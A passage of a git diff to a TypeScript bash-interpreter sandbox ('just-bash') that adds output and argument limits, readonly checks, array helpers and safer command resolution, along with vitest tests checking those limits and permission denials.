       // Only valid variable names
@@ -311,62 +308,45 @@ export function handleSet(ctx: InterpreterContext, args: string[]): ExecResult {
       if (assocArrayNames.has(key)) {
         continue;
       }
-      // Skip indexed array element variables (name_index pattern where name is an indexed array)
-      const arrayElementMatch = key.match(/^([a-zA-Z_][a-zA-Z0-9_]*)_(\d+)$/);
-      if (arrayElementMatch && indexedArrayNames.has(arrayElementMatch[1])) {
-        continue;
-      }
-      // Skip indexed array metadata variables (name__length pattern)
-      const arrayMetadataMatch = key.match(
-        /^([a-zA-Z_][a-zA-Z0-9_]*)__length$/,
-      );
-      if (arrayMetadataMatch && indexedArrayNames.has(arrayMetadataMatch[1])) {
-        continue;
-      }
-      // Skip associative array element variables
-      if (isAssocArrayElement(key)) {
-        continue;
-      }
-      // Skip associative array metadata (name__length pattern for assoc arrays)
-      if (arrayMetadataMatch && assocArrayNames.has(arrayMetadataMatch[1])) {
-        continue;
-      }
       scalarEntries.push([key, value]);
     }
 
-    // Build output: scalars first, then arrays
-    const lines: string[] = [];
-
-    // Add scalar variables
-    for (const [key, value] of scalarEntries.sort(([a], [b]) =>
-      a < b ? -1 : a > b ? 1 : 0,
-    )) {
-      lines.push(`${key}=${quoteValue(value)}`);
-    }
-
-    // Add indexed arrays (use ASCII sort order: uppercase before lowercase)
-    for (const arrayName of [...indexedArrayNames].sort((a, b) =>
-      a < b ? -1 : a > b ? 1 : 0,
-    )) {
-      lines.push(formatArrayOutput(ctx, arrayName));
-    }
-
-    // Add associative arrays
-    for (const arrayName of [...assocArrayNames].sort((a, b) =>
-      a < b ? -1 : a > b ? 1 : 0,
-    )) {
-      lines.push(formatAssocArrayOutput(ctx, arrayName));
+    const entries: (
+      | { kind: "scalar"; name: string; value: string }
+      | { kind: "indexed" | "associative"; name: string }
+    )[] = [
+      ...scalarEntries.map(([name, value]) => ({
+        kind: "scalar" as const,
+        name,
+        value,
+      })),
+      ...Array.from(indexedArrayNames, (name) => ({
+        kind: "indexed" as const,
+        name,
+      })),
+      ...Array.from(assocArrayNames, (name) => ({
+        kind: "associative" as const,
+        name,
+      })),
+    ];
+    entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
+
+    const output = new BoundedStringBuilder(ctx.limits.maxOutputSize, "set");
+    for (const entry of entries) {
+      ctx.executionScope.consumeWork(1, "set variable listing");
+      if (entry.kind === "scalar") {
+        output.append(entry.name).append("=");
+        output.reserve(quotedValueByteLength(entry.value));
+        output.append(quoteValue(entry.value));
+      } else if (entry.kind === "indexed") {
+        appendArrayOutput(ctx, output, entry.name);
+      } else {
+        appendAssocArrayOutput(ctx, output, entry.name);
+      }
+      output.append("\n");
     }
 
-    // Sort all lines together (bash uses ASCII sort order: uppercase before lowercase)
-    lines.sort((a, b) => {
-      // Extract variable name for comparison
-      const nameA = a.split("=")[0];
-      const nameB = b.split("=")[0];
-      return nameA < nameB ? -1 : nameA > nameB ? 1 : 0;
-    });
-
-    return success(lines.length > 0 ? `${lines.join("\n")}\n` : "");
+    return success(output.build());
   }
 
   // Listings emitted by a no-option-name `o` bundled in a short-flag cluster
diff --git a/packages/just-bash/src/interpreter/builtins/shopt.security.test.ts b/packages/just-bash/src/interpreter/builtins/shopt.security.test.ts
new file mode 100644
index 00000000..45d16971
--- /dev/null
+++ b/packages/just-bash/src/interpreter/builtins/shopt.security.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("shopt resource limits", () => {
+  it("bounds aggregate invalid-option diagnostics", async () => {
+    const env = new Bash({
+      executionLimits: { maxStringLength: 100, maxOutputSize: 40 },
+    });
+    const result = await env.exec("shopt invalid_one invalid_two");
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("shopt: output size limit exceeded");
+  });
+
+  it("bounds argument count before copying option names", async () => {
+    const env = new Bash({ executionLimits: { maxArrayElements: 4 } });
+    const result = await env.exec("shopt a b c d e");
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("expanded argument element limit exceeded");
+  });
+
+  it("applies the same diagnostic bound to shopt -o", async () => {
+    const env = new Bash({
+      executionLimits: { maxStringLength: 100, maxOutputSize: 40 },
+    });
+    const result = await env.exec("shopt -o invalid_one invalid_two");
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("shopt: output size limit exceeded");
+  });
+});
diff --git a/packages/just-bash/src/interpreter/builtins/shopt.ts b/packages/just-bash/src/interpreter/builtins/shopt.ts
index 9bbfcf61..c4298380 100644
--- a/packages/just-bash/src/interpreter/builtins/shopt.ts
+++ b/packages/just-bash/src/interpreter/builtins/shopt.ts
@@ -3,10 +3,29 @@
  * Implements bash's shopt builtin for managing shell-specific options
  */
 
+import { utf8ByteLength } from "../../commands/printf/escapes.js";
 import type { ExecResult } from "../../types.js";
+import { ExecutionLimitError } from "../errors.js";
 import { updateBashopts, updateShellopts } from "../helpers/shellopts.js";
 import type { InterpreterContext } from "../types.js";
 
+function pushBoundedLine(
+  lines: string[],
+  line: string,
+  usedBytes: number,
+  maxBytes: number,
+): number {
+  const nextBytes = usedBytes + utf8ByteLength(line) + 1;
+  if (nextBytes > maxBytes) {
+    throw new ExecutionLimitError(
+      `shopt: output size limit exceeded (${maxBytes} bytes)`,
+      "output_size",
+    );
+  }
+  lines.push(line);
+  return nextBytes;
+}
+
 // All supported shopt options
 const SHOPT_OPTIONS = [
   "extglob",
@@ -82,6 +101,17 @@ export function handleShopt(
   ctx: InterpreterContext,
   args: string[],
 ): ExecResult {
+  const maxArrayElements = ctx.limits.maxArrayElements;
+  if (args.length > maxArrayElements) {
+    throw new ExecutionLimitError(
+      `shopt: argument limit exceeded (${maxArrayElements})`,
+      "array_elements",
+    );
+  }
+  const maxOutputBytes = Math.min(
+    ctx.limits.maxOutputSize,
+    ctx.limits.maxStringLength,
+  );
   // Parse arguments
   let setFlag = false; // -s: set option
   let unsetFlag = false; // -u: unset option
@@ -195,12 +225,19 @@ export function handleShopt(
 
   // Option names provided
   let hasError = false;
-  let stderr = "";
+  const stderrLines: string[] = [];
+  let stderrBytes = 0;
   const output: string[] = [];
+  let outputBytes = 0;
 
   for (const name of optionNames) {
     if (!isShoptOption(name) && !isStubOption(name)) {
-      stderr += `shopt: ${name}: invalid shell option name\n`;
+      stderrBytes = pushBoundedLine(
+        stderrLines,
+        `shopt: ${name}: invalid shell option name`,
+        stderrBytes,
+        maxOutputBytes,
+      );
       hasError = true;
       continue;
     }
@@ -228,13 +265,23 @@ export function handleShopt(
             hasError = true;
           }
         } else if (printFlag) {
-          output.push(`shopt ${value ? "-s" : "-u"} ${name}`);
+          outputBytes = pushBoundedLine(
+            output,
+            `shopt ${value ? "-s" : "-u"} ${name}`,
+            outputBytes,
+            maxOutputBytes,
+          );
           // In bash, shopt -p returns exit code 1 if the option is unset
           if (!value) {
             hasError = true;
           }
         } else {
-          output.push(`${name}\t\t${value ? "on" : "off"}`);
+          outputBytes = pushBoundedLine(
+            output,
+            `${name}\t\t${value ? "on" : "off"}`,
+            outputBytes,
+            maxOutputBytes,
+          );
           // In bash, shopt without flags returns exit code 1 if the option is unset
           if (!value) {
             hasError = true;
@@ -245,10 +292,20 @@ export function handleShopt(
         if (quietFlag) {
           hasError = true;
         } else if (printFlag) {
-          output.push(`shopt -u ${name}`);
+          outputBytes = pushBoundedLine(
+            output,
+            `shopt -u ${name}`,
+            outputBytes,
+            maxOutputBytes,
+          );
           hasError = true; // Stub options are always off
         } else {
-          output.push(`${name}\t\toff`);
+          outputBytes = pushBoundedLine(
+            output,
+            `${name}\t\toff`,
+            outputBytes,
+            maxOutputBytes,
+          );
           hasError = true; // Stub options are always off
         }
       }
@@ -258,7 +315,7 @@ export function handleShopt(
   return {
     exitCode: hasError ? 1 : 0,
     stdout: output.length > 0 ? `${output.join("\n")}\n` : "",
-    stderr,
+    stderr: stderrLines.length > 0 ? `${stderrLines.join("\n")}\n` : "",
   };
 }
 
@@ -273,6 +330,10 @@ function handleSetOptions(
   printFlag: boolean,
   quietFlag: boolean,
 ): ExecResult {
+  const maxOutputBytes = Math.min(
+    ctx.limits.maxOutputSize,
+    ctx.limits.maxStringLength,
+  );
   // Map set -o option names to ShellOptions (implemented options)
   const SET_OPTIONS = new Map<string, keyof typeof ctx.state.options>([
     ["errexit", "errexit"],
@@ -333,15 +394,22 @@ function handleSetOptions(
   }
 
   let hasError = false;
-  let stderr = "";
+  const stderrLines: string[] = [];
+  let stderrBytes = 0;
   const output: string[] = [];
+  let outputBytes = 0;
 
   for (const name of optionNames) {
     const isImplemented = SET_OPTIONS.has(name);
     const isNoOp = NOOP_OPTIONS.includes(name);
 
     if (!isImplemented && !isNoOp) {
-      stderr += `shopt: ${name}: invalid option name\n`;
+      stderrBytes = pushBoundedLine(
+        stderrLines,
+        `shopt: ${name}: invalid option name`,
+        stderrBytes,
+        maxOutputBytes,
+      );
       hasError = true;
       continue;
     }
@@ -355,10 +423,20 @@ function handleSetOptions(
         if (quietFlag) {
           hasError = true; // No-op options are always off
         } else if (printFlag) {
-          output.push(`set +o ${name}`);
+          outputBytes = pushBoundedLine(
+            output,
+            `set +o ${name}`,
+            outputBytes,
+            maxOutputBytes,
+          );
           hasError = true; // Always off
         } else {
-          output.push(`${name}\t\toff`);
+          outputBytes = pushBoundedLine(
+            output,
+            `${name}\t\toff`,
+            outputBytes,
+            maxOutputBytes,
+          );
           hasError = true; // Always off
         }
       }
@@ -387,13 +465,23 @@ function handleSetOptions(
           hasError = true;
         }
       } else if (printFlag) {
-        output.push(`set ${value ? "-o" : "+o"} ${name}`);
+        outputBytes = pushBoundedLine(
+          output,
+          `set ${value ? "-o" : "+o"} ${name}`,
+          outputBytes,
+          maxOutputBytes,
+        );
         // In bash, shopt -o -p returns exit code 1 if the option is unset
         if (!value) {
           hasError = true;
         }
       } else {
-        output.push(`${name}\t\t${value ? "on" : "off"}`);
+        outputBytes = pushBoundedLine(
+          output,
+          `${name}\t\t${value ? "on" : "off"}`,
+          outputBytes,
+          maxOutputBytes,
+        );
         // In bash, shopt -o without flags returns exit code 1 if the option is unset
         if (!value) {
           hasError = true;
@@ -405,6 +493,6 @@ function handleSetOptions(
   return {
     exitCode: hasError ? 1 : 0,
     stdout: output.length > 0 ? `${output.join("\n")}\n` : "",
-    stderr,
+    stderr: stderrLines.length > 0 ? `${stderrLines.join("\n")}\n` : "",
   };
 }
diff --git a/packages/just-bash/src/interpreter/builtins/unset.ts b/packages/just-bash/src/interpreter/builtins/unset.ts
index ce5a03ce..d6a5644a 100644
--- a/packages/just-bash/src/interpreter/builtins/unset.ts
+++ b/packages/just-bash/src/interpreter/builtins/unset.ts
@@ -18,6 +18,7 @@ import type { ExecResult } from "../../types.js";
 import { evaluateArithmetic } from "../arithmetic.js";
 import { isArray } from "../expansion/variable.js";
 import { expandWord, getArrayElements } from "../expansion.js";
+import { deleteArray, deleteArrayElement } from "../helpers/array.js";
 import { isNameref, resolveNameref } from "../helpers/nameref.js";
 import { isReadonly } from "../helpers/readonly.js";
 import { result } from "../helpers/result.js";
@@ -261,11 +262,14 @@ export async function handleUnset(
         const arrayName = arrayMatchVar[1];
         const indexExpr = arrayMatchVar[2];
 
+        if (isReadonly(ctx, arrayName)) {
+          stderr += `bash: unset: ${arrayName}: cannot unset: readonly variable\n`;
+          exitCode = 1;
+          continue;
+        }
+
         if (indexExpr === "@" || indexExpr === "*") {
-          const elements = getArrayElements(ctx, arrayName);
-          for (const [idx] of elements) {
-            ctx.state.env.delete(`${arrayName}_${idx}`);
-          }
+          deleteArray(ctx, arrayName);
           ctx.state.env.delete(arrayName);
           continue;
         }
@@ -276,7 +280,7 @@ export async function handleUnset(
         if (isAssoc) {
           // For associative arrays, expand variables in the subscript
           const key = await expandAssocSubscript(ctx, indexExpr);
-          ctx.state.env.delete(`${arrayName}_${key}`);
+          deleteArrayElement(ctx, arrayName, key);
           continue;
         }
 
@@ -330,11 +334,11 @@ export async function handleUnset(
             continue;
           }
           const actualIndex = elements[actualPos][0];
-          ctx.state.env.delete(`${arrayName}_${actualIndex}`);
+          deleteArrayElement(ctx, arrayName, actualIndex);
           continue;
         }
 
-        ctx.state.env.delete(`${arrayName}_${index}`);
+        deleteArrayElement(ctx, arrayName, index);
         continue;
       }
 
@@ -360,6 +364,7 @@ export async function handleUnset(
         exitCode = 1;
         continue;
       }
+      deleteArray(ctx, targetName);
 
       // Bash-specific unset scoping: check if this is a dynamic-unset
       const localDepth = getLocalVarDepth(ctx, targetName);
@@ -413,12 +418,15 @@ export async function handleUnset(
       const arrayName = arrayMatch[1];
       const indexExpr = arrayMatch[2];
 
+      if (isReadonly(ctx, arrayName)) {
+        stderr += `bash: unset: ${arrayName}: cannot unset: readonly variable\n`;
+        exitCode = 1;
+        continue;
+      }
+
       // Handle [@] or [*] - unset entire array
       if (indexExpr === "@" || indexExpr === "*") {
-        const elements = getArrayElements(ctx, arrayName);
-        for (const [idx] of elements) {
-          ctx.state.env.delete(`${arrayName}_${idx}`);
-        }
+        deleteArray(ctx, arrayName);
         ctx.state.env.delete(arrayName);
         continue;
       }
@@ -429,7 +437,7 @@ export async function handleUnset(
       if (isAssoc) {
         // For associative arrays, expand variables in the subscript
         const key = await expandAssocSubscript(ctx, indexExpr);
-        ctx.state.env.delete(`${arrayName}_${key}`);
+        deleteArrayElement(ctx, arrayName, key);
         continue;
       }
 
@@ -485,12 +493,12 @@ export async function handleUnset(
         }
         // Get the actual index from the sorted elements
         const actualIndex = elements[actualPos][0];
-        ctx.state.env.delete(`${arrayName}_${actualIndex}`);
+        deleteArrayElement(ctx, arrayName, actualIndex);
         continue;
       }
 
       // Positive index - just delete directly
-      ctx.state.env.delete(`${arrayName}_${index}`);
+      deleteArrayElement(ctx, arrayName, index);
       continue;
     }
 
@@ -516,6 +524,7 @@ export async function handleUnset(
       exitCode = 1;
       continue;
     }
+    deleteArray(ctx, targetName);
 
     // Bash-specific unset scoping: check if this is a dynamic-unset
     const localDepth = getLocalVarDepth(ctx, targetName);
diff --git a/packages/just-bash/src/interpreter/builtins/variable-assignment.ts b/packages/just-bash/src/interpreter/builtins/variable-assignment.ts
index 6616a0a1..a7809677 100644
--- a/packages/just-bash/src/interpreter/builtins/variable-assignment.ts
+++ b/packages/just-bash/src/interpreter/builtins/variable-assignment.ts
@@ -6,6 +6,12 @@ import { parseArithmeticExpression } from "../../parser/arithmetic-parser.js";
 import { Parser } from "../../parser/parser.js";
 import type { ExecResult } from "../../types.js";
 import { evaluateArithmetic } from "../arithmetic.js";
+import {
+  clearArray,
+  cloneArray,
+  getArray,
+  setArrayElement,
+} from "../helpers/array.js";
 import { checkReadonlyError, markReadonly } from "../helpers/readonly.js";
 import type { InterpreterContext } from "../types.js";
 import { parseArrayElements } from "./declare-array-parsing.js";
@@ -25,14 +31,17 @@ export interface ParsedAssignment {
 /**
  * Parse an assignment argument like "name=value", "name=(a b c)", or "name[index]=value".
  */
-export function parseAssignment(arg: string): ParsedAssignment {
+export function parseAssignment(
+  arg: string,
+  limits?: { maxElements: number; maxStringBytes: number },
+): ParsedAssignment {
   // Check for array assignment: name=(...)
   const arrayMatch = arg.match(/^([a-zA-Z_][a-zA-Z0-9_]*)=\((.*)\)$/s);
   if (arrayMatch) {
     return {
       name: arrayMatch[1],
       isArray: true,
-      arrayElements: parseArrayElements(arrayMatch[2]),
+      arrayElements: parseArrayElements(arrayMatch[2], limits),
     };
   }
 
@@ -110,23 +119,28 @@ export async function setVariable(
   }
 
   if (isArray && arrayElements) {
-    // Set array elements
-    for (let i = 0; i < arrayElements.length; i++) {
-      ctx.state.env.set(`${name}_${i}`, arrayElements[i]);
+    ctx.executionScope.consumeWork(arrayElements.length, "array assignment");
+    const priorArray = getArray(ctx, name);
+    const priorArraySnapshot = priorArray ? cloneArray(priorArray) : undefined;
+    const priorScalar = ctx.state.env.get(name);
+    try {
+      clearArray(ctx, name);
+      for (let i = 0; i < arrayElements.length; i++) {
+        setArrayElement(ctx, name, i, arrayElements[i]);
+      }
+      ctx.state.env.delete(name);
+    } catch (error) {
+      ctx.state.arrays ??= new Map();
+      if (priorArraySnapshot) ctx.state.arrays.set(name, priorArraySnapshot);
+      else ctx.state.arrays.delete(name);
+      if (priorScalar === undefined) ctx.state.env.delete(name);
+      else ctx.state.env.set(name, priorScalar);
+      throw error;
     }
-    ctx.state.env.set(`${name}__length`, String(arrayElements.length));
   } else if (arrayIndex !== undefined && value !== undefined) {
     // Array index assignment: a[index]=value
     const index = await evaluateArrayIndex(ctx, arrayIndex);
-    ctx.state.env.set(`${name}_${index}`, value);
-    // Update array length if needed (sparse arrays may have gaps)
-    const currentLength = parseInt(
-      ctx.state.env.get(`${name}__length`) ?? "0",
-      10,
-    );
-    if (index >= currentLength) {
-      ctx.state.env.set(`${name}__length`, String(index + 1));
-    }
+    setArrayElement(ctx, name, index, value);
   } else if (value !== undefined) {
     // Set scalar value
     ctx.state.env.set(name, value);
diff --git a/packages/just-bash/src/interpreter/command-resolution.security.test.ts b/packages/just-bash/src/interpreter/command-resolution.security.test.ts
new file mode 100644
index 00000000..bd9a0636
--- /dev/null
+++ b/packages/just-bash/src/interpreter/command-resolution.security.test.ts
@@ -0,0 +1,50 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("command resolution identity", () => {
+  it("does not dispatch a registered command through an untrusted explicit path", async () => {
+    const bash = new Bash();
+    await bash.fs.writeFile("/tmp/echo", "printf 'user-script:%s\\n' \"$*\"");
+
+    const denied = await bash.exec("/tmp/echo payload");
+    expect(denied.stdout).toBe("");
+    expect(denied.stderr).toBe("bash: /tmp/echo: Permission denied\n");
+    expect(denied.exitCode).toBe(126);
+
+    await bash.fs.chmod("/tmp/echo", 0o755);
+    const executed = await bash.exec("/tmp/echo payload");
+    expect(executed.stdout).toBe("user-script:payload\n");
+    expect(executed.stderr).toBe("");
+    expect(executed.exitCode).toBe(0);
+  });
+
+  it("evicts invalid hash aliases instead of dispatching by basename", async () => {
+    const bash = new Bash();
+    await bash.fs.writeFile("/tmp/not-echo", "untrusted");
+
+    const result = await bash.exec("hash -p /tmp/not-echo echo; echo trusted");
+    expect(result.stdout).toBe("trusted\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("does not report non-executable PATH entries through type variants", async () => {
+    const bash = new Bash();
+    await bash.fs.writeFile("/tmp/tool", "echo no");
+
+    const result = await bash.exec(
+      "PATH=/tmp; type -P tool; type -aP tool; command -v tool",
+    );
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("continues to dispatch verified trusted system stubs", async () => {
+    const bash = new Bash();
+    const result = await bash.exec("/bin/echo trusted");
+    expect(result.stdout).toBe("trusted\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+});
diff --git a/packages/just-bash/src/interpreter/command-resolution.ts b/packages/just-bash/src/interpreter/command-resolution.ts
index f005bbf0..f90d6055 100644
--- a/packages/just-bash/src/interpreter/command-resolution.ts
+++ b/packages/just-bash/src/interpreter/command-resolution.ts
@@ -26,6 +26,10 @@ export type ResolveCommandResult =
   | { error: "not_found" | "permission_denied"; path?: string }
   | null;
 
+function isTrustedCommandStub(path: string, commandName: string): boolean {
+  return path === `/bin/${commandName}` || path === `/usr/bin/${commandName}`;
+}
+
 /**
  * Resolve a command name to its implementation via PATH lookup.
  * Returns the command and its resolved path, or null if not found.
@@ -47,10 +51,6 @@ export async function resolveCommand(
     if (!(await ctx.fs.exists(resolvedPath))) {
       return { error: "not_found", path: resolvedPath };
     }
-    // Extract command name from path
-    const cmdName = resolvedPath.split("/").pop() || commandName;
-    const cmd = ctx.commands.get(cmdName);
-
     // Check file properties
     try {
       const stat = await ctx.fs.stat(resolvedPath);
@@ -58,18 +58,18 @@ export async function resolveCommand(
         // Trying to execute a directory
         return { error: "permission_denied", path: resolvedPath };
       }
-      // For registered commands (like /bin/echo), skip execute check
-      // since they're our internal implementations
-      if (cmd) {
+      const cmdName = resolvedPath.split("/").pop() || commandName;
+      const cmd = ctx.commands.get(cmdName);
+      if (cmd && isTrustedCommandStub(resolvedPath, cmdName)) {
         return { cmd, path: resolvedPath };
       }
-      // For non-registered commands, check if the file is executable
       const isExecutable = (stat.mode & 0o111) !== 0;
       if (!isExecutable) {
         // File exists but is not executable - permission denied
         return { error: "permission_denied", path: resolvedPath };
       }
-      // File exists and is executable - treat as user script
+      // Explicit non-system paths always denote the file, never a same-basename
+      // registered command.
       return { script: true, path: resolvedPath };
     } catch {
       // If stat fails, treat as not found
@@ -81,25 +81,21 @@ export async function resolveCommand(
   if (!pathOverride && ctx.state.hashTable) {
     const cachedPath = ctx.state.hashTable.get(commandName);
     if (cachedPath) {
-      // Verify the cached path still exists
-      if (await ctx.fs.exists(cachedPath)) {
-        const cmd = ctx.commands.get(commandName);
-        if (cmd) {
-          return { cmd, path: cachedPath };
-        }
-        // Also check if it's an executable script (not just registered commands)
-        try {
-          const stat = await ctx.fs.stat(cachedPath);
-          if (!stat.isDirectory && (stat.mode & 0o111) !== 0) {
+      try {
+        const stat = await ctx.fs.stat(cachedPath);
+        if (!stat.isDirectory) {
+          const cmd = ctx.commands.get(commandName);
+          if (cmd && isTrustedCommandStub(cachedPath, commandName)) {
+            return { cmd, path: cachedPath };
+          }
+          if ((stat.mode & 0o111) !== 0) {
             return { script: true, path: cachedPath };
           }
-        } catch {
-          // If stat fails, fall through to PATH search
         }
-      } else {
-        // Remove stale entry from hash table
-        ctx.state.hashTable.delete(commandName);
+      } catch {
+        // Invalid cached entries are evicted before doing a fresh PATH search.
       }
+      ctx.state.hashTable.delete(commandName);
     }
   }
 
@@ -126,7 +122,7 @@ export async function resolveCommand(
         const cmd = ctx.commands.get(commandName);
 
         // Determine if this is a system directory where command stubs live
-        const isSystemDir = dir === "/bin" || dir === "/usr/bin";
+        const isSystemDir = isTrustedCommandStub(fullPath, commandName);
 
         if (cmd && isSystemDir) {
           // Registered commands in system directories work without execute bits
@@ -205,11 +201,22 @@ export async function findCommandInPath(
       ? dir
       : ctx.fs.resolvePath(ctx.state.cwd, dir);
     const fullPath = `${resolvedDir}/${commandName}`;
+    // Registered commands model binaries provided by the sandbox's system
+    // directories. Report those virtual binaries for `type -a/-P`, while
+    // continuing to require a real executable for every user-controlled PATH
+    // directory so a same-basename script is never mistaken for a builtin.
+    if (
+      isTrustedCommandStub(fullPath, commandName) &&
+      ctx.commands.has(commandName)
+    ) {
+      paths.push(fullPath);
+      continue;
+    }
     if (await ctx.fs.exists(fullPath)) {
       // Check if it's a directory - skip directories
       try {
         const stat = await ctx.fs.stat(fullPath);
-        if (stat.isDirectory) {
+        if (stat.isDirectory || (stat.mode & 0o111) === 0) {
           continue;
         }
       } catch {
diff --git a/packages/just-bash/src/interpreter/conditionals.ts b/packages/just-bash/src/interpreter/conditionals.ts
index 53fa54a8..7b3958b7 100644
--- a/packages/just-bash/src/interpreter/conditionals.ts
+++ b/packages/just-bash/src/interpreter/conditionals.ts
@@ -16,13 +16,14 @@ import { Parser } from "../parser/parser.js";
 import { createUserRegex } from "../regex/index.js";
 import type { ExecResult } from "../types.js";
 import { evaluateArithmetic } from "./arithmetic.js";
+import { ExecutionLimitError } from "./errors.js";
 import {
   escapeRegexChars,
   expandWord,
   expandWordForPattern,
   expandWordForRegex,
 } from "./expansion.js";
-import { clearArray } from "./helpers/array.js";
+import { clearArray, setArrayElement } from "./helpers/array.js";
 import {
   evaluateBinaryFileTest,
   evaluateFileTest,
@@ -92,6 +93,7 @@ export async function evaluateConditional(
           !isRhsQuoted,
           nocasematch,
           true, // Always enable extglob in [[ ]] pattern matching
+          ctx.limits.maxCallDepth,
         );
       }
 
@@ -122,7 +124,7 @@ export async function evaluateConditional(
             if (match) {
               // Store full match at index 0, capture groups at indices 1, 2, ...
               for (let i = 0; i < match.length; i++) {
-                ctx.state.env.set(`BASH_REMATCH_${i}`, match[i] || "");
+                setArrayElement(ctx, "BASH_REMATCH", i, match[i] || "");
               }
             }
             return match !== null;
@@ -413,11 +415,20 @@ async function evaluateTestNot(
   args: string[],
   pos: number,
 ): Promise<{ value: boolean; pos: number }> {
-  if (args[pos] === "!") {
-    const { value, pos: newPos } = await evaluateTestNot(ctx, args, pos + 1);
-    return { value: !value, pos: newPos };
+  const depth = ctx.executionScope.enterDepth(
+    "test_expression",
+    ctx.limits.maxCallDepth,
+    "test expression",
+  );
+  try {
+    if (args[pos] === "!") {
+      const { value, pos: newPos } = await evaluateTestNot(ctx, args, pos + 1);
+      return { value: !value, pos: newPos };
+    }
+    return evaluateTestPrimary(ctx, args, pos);
+  } finally {
+    depth.release();
   }
-  return evaluateTestPrimary(ctx, args, pos);
 }
 
 async function evaluateTestPrimary(
@@ -508,7 +519,9 @@ export function matchPattern(
   pattern: string,
   nocasematch = false,
   extglob = false,
+  maxDepth = 256,
 ): boolean {
+  if (extglob) assertExtglobDepth(pattern, maxDepth);
   const regex = `^${patternToRegexStr(pattern, extglob)}$`;
   // Use 's' flag (dotAll) so that * matches newlines in the value
   // This matches bash behavior where patterns like *foo* match multiline values
@@ -516,6 +529,30 @@ export function matchPattern(
   return createUserRegex(regex, flags).test(value);
 }
 
+function assertExtglobDepth(pattern: string, maximum: number): void {
+  let depth = 0;
+  const groups: boolean[] = [];
+  for (let i = 0; i < pattern.length; i++) {
+    if (pattern[i] === "\\") {
+      i++;
+      continue;
+    }
+    if (pattern[i] === "(") {
+      const isExtglob = i > 0 && "@*+?!".includes(pattern[i - 1]);
+      groups.push(isExtglob);
+      if (isExtglob) depth++;
+      if (depth > maximum) {
+        throw new ExecutionLimitError(
+          `extglob maximum depth (${maximum}) exceeded`,
+          "recursion",
+        );
+      }
+    } else if (pattern[i] === ")" && groups.length > 0) {
+      if (groups.pop()) depth--;
+    }
+  }
+}
+
 /**
  * Convert a glob pattern to a regex string (without anchors).
  * Supports extglob patterns: @(...), *(...), +(...), ?(...), !(...)
diff --git a/packages/just-bash/src/interpreter/control-flow.output-limits.test.ts b/packages/just-bash/src/interpreter/control-flow.output-limits.test.ts
new file mode 100644
index 00000000..97458830
--- /dev/null
+++ b/packages/just-bash/src/interpreter/control-flow.output-limits.test.ts
@@ -0,0 +1,93 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+import { ExecutionLimitError } from "./errors.js";
+
+describe("compound control-flow output limits", () => {
+  it("counts top-level UTF-8 bytes rather than UTF-16 code units", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 2 } });
+    const result = await bash.exec("printf 한");
+    expect(result.stdout).toBe("");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  const scripts = [
+    { name: "for", script: "for i in 1 2; do echo 12345; done" },
+    {
+      name: "C-style for",
+      script: "for ((i=0; i<2; i++)); do echo 12345; done",
+    },
+    {
+      name: "while",
+      script: "i=0; while ((i<2)); do echo 12345; i=$((i+1)); done",
+    },
+    {
+      name: "until",
+      script: 'i=0; until [ "$i" -ge 2 ]; do echo 12345; i=$((i+1)); done',
+    },
+    { name: "if", script: "if true; then echo 12345; echo 12345; fi" },
+    {
+      name: "case",
+      script: "case x in x) echo 12345; echo 12345;; esac",
+    },
+  ];
+
+  for (const { name, script } of scripts) {
+    it(`checks ${name} output before concatenation`, async () => {
+      const bash = new Bash({ executionLimits: { maxOutputSize: 10 } });
+      const result = await bash.exec(script);
+
+      expect(result.stdout).toBe("12345\n");
+      expect(result.stderr).toBe(
+        "bash: pipeline: total output size exceeded (>10 bytes), increase executionLimits.maxOutputSize\n",
+      );
+      expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    });
+  }
+
+  it("accounts stdout and stderr against one aggregate boundary", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 9 } });
+    const result = await bash.exec(
+      "for i in 1; do echo 1234; echo 5678 >&2; done",
+    );
+
+    expect(result.stdout).toBe("1234\n");
+    expect(result.stderr).toBe(
+      "bash: redirection: total output size exceeded (>9 bytes), increase executionLimits.maxOutputSize\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("keeps nested compound output bounded", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 10 } });
+    const result = await bash.exec(
+      "for i in 1; do while true; do echo 12345; echo 12345; break; done; done",
+    );
+
+    expect(result.stdout).toBe("12345\n");
+    expect(result.stderr).toBe(
+      "bash: pipeline: total output size exceeded (>10 bytes), increase executionLimits.maxOutputSize\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it.each([
+    ["direct", "printf 123456789012"],
+    ["if", "if true; then printf 123456789012; fi"],
+    ["for", "for i in 1; do printf 123456789012; done"],
+    ["C-style for", "for ((i=0; i<1; i++)); do printf 123456789012; done"],
+    ["while", "i=0; while ((i<1)); do printf 123456789012; i=$((i+1)); done"],
+    [
+      "until",
+      'i=0; until [ "$i" -ge 1 ]; do printf 123456789012; i=$((i+1)); done',
+    ],
+  ])("does not double-charge output relayed through %s", async (_name, script) => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 12 } });
+    const result = await bash.exec(script);
+
+    expect(result).toMatchObject({
+      stdout: "123456789012",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+});
diff --git a/packages/just-bash/src/interpreter/control-flow.ts b/packages/just-bash/src/interpreter/control-flow.ts
index 4517e511..c97876e0 100644
--- a/packages/just-bash/src/interpreter/control-flow.ts
+++ b/packages/just-bash/src/interpreter/control-flow.ts
@@ -17,50 +17,147 @@ import type {
   ForNode,
   HereDocNode,
   IfNode,
